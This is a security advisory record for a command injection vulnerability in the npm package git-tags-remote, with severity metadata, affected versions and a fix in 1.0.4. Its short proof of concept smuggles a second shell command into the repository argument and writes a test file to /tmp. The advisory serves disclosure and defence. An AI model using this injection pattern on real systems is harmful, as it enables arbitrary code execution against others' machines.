GHSA-gm9x-q798-hmr4

Suggest an improvement
Source
https://github.com/advisories/GHSA-gm9x-q798-hmr4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/07/GHSA-gm9x-q798-hmr4/GHSA-gm9x-q798-hmr4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-gm9x-q798-hmr4
Published
2020-07-29T14:53:40Z
Modified
2021-09-23T17:26:33Z
Severity
  • 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Command Injection in git-tags-remote
Details

All versions of git-tags-remote are vulnerable to Command Injection. The package fails to sanitize the repository input and passes it directly to an exec call on the get function . This may allow attackers to execute arbitrary code in the system if the repo value passed to the function is user-controlled.

The following proof-of-concept creates a file in /tmp:

const gitTagsRemote = require('git-tags-remote');

gitTagsRemote.get('https://github.com/sh0ji/git-tags-remote.git; echo "Injection Success" > /tmp/command-injection.test')
.then(tags => console.log(tags));
Database specific
{
    "cwe_ids":  [
        "CWE-78"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2020-07-29T14:52:24Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

npm / git-tags-remote

Package

Name
git-tags-remote
View open source insights on deps.dev
Purl
pkg:npm/git-tags-remote

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.0.4

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/07/GHSA-gm9x-q798-hmr4/GHSA-gm9x-q798-hmr4.json"